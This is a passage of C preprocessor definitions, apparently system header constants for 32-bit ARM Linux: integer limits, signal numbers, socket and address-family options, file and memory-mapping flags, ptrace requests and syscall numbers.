INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGBUS 7\n#define SIGUSR1 10\n#define SIGUSR2 12\n#define SIGSTKFLT 16\n#define SIGCHLD 17\n#define SIGCONT 18\n#define SIGSTOP 19\n#define SIGTSTP 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGURG 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGIO 29\n#define SIGPWR 30\n#define SIGSYS 31\n#define SIGCLD 17\n#define SIGPOLL 29\n#define SIGLOST 30\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_THIRTYTWO 0x02000000\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define STAT64_HAS_BROKEN_ST_INO 1\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x40\n#define O_EXCL 0x80\n#define O_NOCTTY 0x100\n#define O_TRUNC 0x200\n#define O_APPEND 0x400\n#define O_NONBLOCK 0x800\n#define O_NDELAY 0x800\n#define O_DSYNC 0x1000\n#define FASYNC 0x2000\n#define O_DIRECTORY 0x4000\n#define O_NOFOLLOW 0x8000\n#define O_DIRECT 0x10000\n#define O_LARGEFILE 0x20000\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_SYNC 0x101000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 5\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 8\n#define F_GETOWN 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x404000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_GROWSDOWN 0x0100\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_LOCKED 0x2000\n#define MAP_NORESERVE 0x4000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MCL_CURRENT 1\n#define MCL_FUTURE 2\n#define MCL_ONFAULT 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define USR26_MODE 0x00\n#define FIQ26_MODE 0x01\n#define IRQ26_MODE 0x02\n#define SVC26_MODE 0x03\n#define USR_MODE 0x10\n#define FIQ_MODE 0x11\n#define IRQ_MODE 0x12\n#define SVC_MODE 0x13\n#define ABT_MODE 0x17\n#define UND_MODE 0x1b\n#define SYSTEM_MODE 0x1f\n#define MODE_MASK 0x1f\n#define T_BIT 0x20\n#define F_BIT 0x40\n#define I_BIT 0x80\n#define CC_V_BIT (1 << 28)\n#define CC_C_BIT (1 << 29)\n#define CC_Z_BIT (1 << 30)\n#define CC_N_BIT (1 << 31)\n#define PCMASK 0\n#define SYS_accept (0+285)\n#define SYS_accept4 (0+366)\n#define SYS_access (0+ 33)\n#define SYS_acct (0+ 51)\n#define SYS_add_key (0+309)\n#define SYS_adjtimex (0+124)\n#define SYS_alarm (0+ 27)\n#define SYS_arm_fadvise64_64 (0+270)\n#define SYS_arm_sync_file_range (0+341)\n#define SYS_bdflush (0+134)\n#define SYS_bind (0+282)\n#define SYS_bpf (0+386)\n#define SYS_brk (0+ 45)\n#define SYS_capget (0+184)\n#define SYS_capset (0+185)\n#define SYS_chdir (0+ 12)\n#define SYS_chmod (0+ 15)\n#define SYS_chown (0+182)\n#define SYS_chown32 (0+212)\n#define SYS_chroot (0+ 61)\n#define SYS_clock_adjtime (0+372)\n#define SYS_clock_adjtime64 (0 + 405)\n#define SYS_clock_getres (0+264)\n#define SYS_clock_getres_time64 (0 + 406)\n#define SYS_clock_gettime (0+263)\n#define SYS_clock_gettime64 (0 + 403)\n#define SYS_clock_nanosleep (0+265)\n#define SYS_clock_nanosleep_time64 (0 + 407)\n#define SYS_clock_settime (0+262)\n#define SYS_clock_settime64 (0 + 404)\n#define SYS_clone (0+120)\n#define SYS_clone3 (0 + 435)\n#define SYS_close (0+  6)\n#define SYS_connect (0+283)\n#define SYS_copy_file_range (0+391)\n#define SYS_creat (0+  8)\n#define SYS_delete_module (0+129)\n#define SYS_dup (0+ 41)\n#define SYS_dup2 (0+ 63)\n#define SYS_dup3 (0+358)\n#define SYS_epoll_create (0+250)\n#define SYS_epoll_create1 (0+357)\n#define SYS_epoll_ctl (0+251)\n#define SYS_epoll_wait (0+252)\n#define SYS_eventfd (0+351)\n#define SYS_eventfd2 (0+356)\n#define SYS_execve (0+ 11)\n#define SYS_execveat (0+387)\n#define SYS_exit (0+  1)\n#define SYS_exit_group (0+248)\n#define SYS_faccessat (0+334)\n#define SYS_fallocate (0+352)\n#define SYS_fanotify_init (0+367)\n#define SYS_fanotify_mark (0+368)\n#define SYS_fchdir (0+133)\n#define SYS_fchmod (0+ 94)\n#define SYS_fchmodat (0+333)\n#define SYS_fchown (0+ 95)\n#define SYS_fchown32 (0+207)\n#define SYS_fchownat (0+325)\n#define SYS_fcntl (0+ 55)\n#define SYS_fcntl64 (0+221)\n#define SYS_fdatasync (0+148)\n#define SYS_fgetxattr (0+231)\n#define SYS_finit_module (0+379)\n#define SYS_flistxattr (0+234)\n#define SYS_flock (0+143)\n#define SYS_fork (0+  2)\n#define SYS_fremovexattr (0+237)\n#define SYS_fsconfig (0 + 431)\n#define SYS_fsetxattr (0+228)\n#define SYS_fsmount (0 + 432)\n#define SYS_fsopen (0 + 430)\n#define SYS_fspick (0 + 433)\n#define SYS_fstat (0+108)\n#define SYS_fstat64 (0+197)\n#define SYS_fstatat64 (0+327)\n#define SYS_fstatfs (0+100)\n#define SYS_fstatfs64 (0+267)\n#define SYS_fsync (0+118)\n#define SYS_ftruncate (0+ 93)\n#define SYS_ftruncate64 (0+194)\n#define SYS_futex (0+240)\n#define SYS_futex_time64 (0 + 422)\n#define SYS_futimesat (0+326)\n#define SYS_getcpu (0+345)\n#define SYS_getcwd (0+183)\n#define SYS_getdents (0+141)\n#define SYS_getdents64 (0+217)\n#define SYS_getegid (0+ 50)\n#define SYS_getegid32 (0+202)\n#define SYS_geteuid (0+ 49)\n#define SYS_geteuid32 (0+201)\n#define SYS_getgid (0+ 47)\n#define SYS_getgid32 (0+200)\n#define SYS_getgroups (0+ 80)\n#define SYS_getgroups32 (0+205)\n#define SYS_getitimer (0+105)\n#define SYS_get_mempolicy (0+320)\n#define SYS_getpeername (0+287)\n#define SYS_getpgid (0+132)\n#define SYS_getpgrp (0+ 65)\n#define SYS_getpid (0+ 20)\n#define SYS_getppid (0+ 64)\n#define SYS_getpriority (0+ 96)\n#define SYS_getrandom (0+384)\n#define SYS_getresgid (0+171)\n#define SYS_getresgid32 (0+211)\n#define SYS_getresuid (0+165)\n#define SYS_getresuid32 (0+209)\n#define SYS_getrlimit (0+ 76)\n#define SYS_get_robust_list (0+339)\n#define SYS_getrusage (0+ 77)\n#define SYS_getsid (0+147)\n#define SYS_getsockname (0+286)\n#define SYS_getsockopt (0+295)\n#define SYS_gettid (0+224)\n#define SYS_gettimeofday (0+ 78)\n#define SYS_getuid (0+ 24)\n#define SYS_getuid32 (0+199)\n#define SYS_getxattr (0+229)\n#define SYS_init_module (0+128)\n#define SYS_inotify_add_watch (0+317)\n#define SYS_inotify_init (0+316)\n#define SYS_inotify_init1 (0+360)\n#define SYS_inotify_rm_watch (0+318)\n#define SYS_io_cancel (0+247)\n#define SYS_ioctl (0+ 54)\n#define SYS_io_destroy (0+244)\n#define SYS_io_getevents (0+245)\n#define SYS_io_pgetevents (0 + 399)\n#define SYS_io_pgetevents_time64 (0 + 416)\n#define SYS_ioprio_get (0+315)\n#define SYS_ioprio_set (0+314)\n#define SYS_io_setup (0+243)\n#define SYS_io_submit (0+246)\n#define SYS_io_uring_enter (0 + 426)\n#define SYS_io_uring_register (0 + 427)\n#define SYS_io_uring_setup (0 + 425)\n#define SYS_ipc (0+117)\n#define SYS_kcmp (0+378)\n#define SYS_kexec_file_load (0 + 401)\n#define SYS_kexec_load (0+347)\n#define SYS_keyctl (0+311)\n#define SYS_kill (0+ 37)\n#define SYS_lchown (0+ 16)\n#define SYS_lchown32 (0+198)\n#define SYS_lgetxattr (0+230)\n#define SYS_link (0+  9)\n#define SYS_linkat (0+330)\n#define SYS_listen (0+284)\n#define SYS_listxattr (0+232)\n#define SYS_llistxattr (0+233)\n#define SYS__llseek (0+140)\n#define SYS_lookup_dcookie (0+249)\n#define SYS_lremovexattr (0+236)\n#define SYS_lseek (0+ 19)\n#define SYS_lsetxattr (0+227)\n#define SYS_lstat (0+107)\n#define SYS_lstat64 (0+196)\n#define SYS_madvise (0+220)\n#define SYS_mbind (0+319)\n#define SYS_membarrier (0+389)\n#define SYS_memfd_create (0+385)\n#define SYS_migrate_pages (0 + 400)\n#define SYS_mincore (0+219)\n#define SYS_mkdir (0+ 39)\n#define SYS_mkdirat (0+323)\n#define SYS_mknod (0+ 14)\n#define SYS_mknodat (0+324)\n#define SYS_mlock (0+150)\n#define SYS_mlock2 (0+390)\n#define SYS_mlockall (0+152)\n#define SYS_mmap (0+ 90)\n#define SYS_mmap2 (0+192)\n#define SYS_mount (0+ 21)\n#define SYS_move_mount (0 + 429)\n#define SYS_move_pages (0+344)\n#define SYS_mprotect (0+125)\n#define SYS_mq_getsetattr (0+279)\n#define SYS_mq_notify (0+278)\n#define SYS_mq_open (0+274)\n#define SYS_mq_timedreceive (0+277)\n#define SYS_mq_timedreceive_time64 (0 + 419)\n#define SYS_mq_timedsend (0+276)\n#define SYS_mq_timedsend_time64 (0 + 418)\n#define SYS_mq_unlink (0+275)\n#define SYS_mremap (0+163)\n#define SYS_msgctl (0+304)\n#define SYS_msgget (0+303)\n#define SYS_msgrcv (0+302)\n#define SYS_msgsnd (0+301)\n#define SYS_msync (0+144)\n#define SYS_munlock (0+151)\n#define SYS_munlockall (0+153)\n#define SYS_munmap (0+ 91)\n#define SYS_name_to_handle_at (0+370)\n#define SYS_nanosleep (0+162)\n#define SYS__newselect (0+142)\n#define SYS_nfsservctl (0+169)\n#define SYS_nice (0+ 34)\n#define SYS_OABI_SYSCALL_BASE 0x900000\n#define SYS_open (0+  5)\n#define SYS_openat (0+322)\n#define SYS_openat2 (0 + 437)\n#define SYS_open_by_handle_at (0+371)\n#define SYS_open_tree (0 + 428)\n#define SYS_pause (0+ 29)\n#define 